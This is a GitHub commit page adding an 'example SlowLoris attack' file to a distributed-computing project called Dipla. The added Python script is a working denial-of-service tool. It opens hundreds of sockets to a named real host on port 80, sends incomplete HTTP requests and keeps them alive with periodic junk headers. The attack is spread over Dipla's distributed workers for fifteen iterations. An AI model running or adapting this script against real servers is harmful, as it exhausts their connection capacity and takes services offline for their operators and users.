Skip to content

Commit

Permalink
Merge pull request #248 from CPSSD/c/ddos#225
Browse files Browse the repository at this point in the history
Add example SlowLoris attack
  • Loading branch information
CianLR authored Mar 30, 2017
2 parents db34caf + 0797a21 commit 734ae36
Showing 1 changed file with 54 additions and 0 deletions.
54 changes: 54 additions & 0 deletions examples/ddos.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,54 @@
from os import path
import sys
# Append to path so that this script can access the dipla package
sys.path.append(path.abspath('../dipla'))

from dipla.api import Dipla


@Dipla.distributable()
def slowloris(target_addr, target_port, number_connections):
import socket, time
# Try and open N conncetions
soc_list = []
for _ in range(number_connections):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
s.connect((target_addr, target_port))
s.send("GET /?vacation=sucks HTTP/1.1\r\n".encode('utf-8'))
s.send("User-Agent: The Dipla Boiz\r\n".encode('utf-8'))
s.send("Accept-language: en-US,en,q=0.5\r\n".encode('utf-8'))
soc_list.append(s)
except socket.error:
pass

if len(soc_list) == 0:
return "Connections to target could not be made"

keep_alive_count = 0
while soc_list:
# Send a keep-alive to each connection
for s in soc_list:
try:
s.send("X-a: 4000\r\n".encode("utf-8"))
keep_alive_count += 1
except socket.error:
soc_list.remove(s)
time.sleep(15)
return "Send {} keep-alive requests to target".format(keep_alive_count)


ATTACK_ITERATIONS = 15
target_addrs = ["m1cr0man.com"] * ATTACK_ITERATIONS
target_ports = [80] * ATTACK_ITERATIONS
number_connections = [300] * ATTACK_ITERATIONS
attack_results = Dipla.apply_distributable(slowloris,
target_addrs,
target_ports,
number_connections)

out = Dipla.get(attack_results)

for o in out:
print(o)

0 comments on commit 734ae36

Please sign in to comment.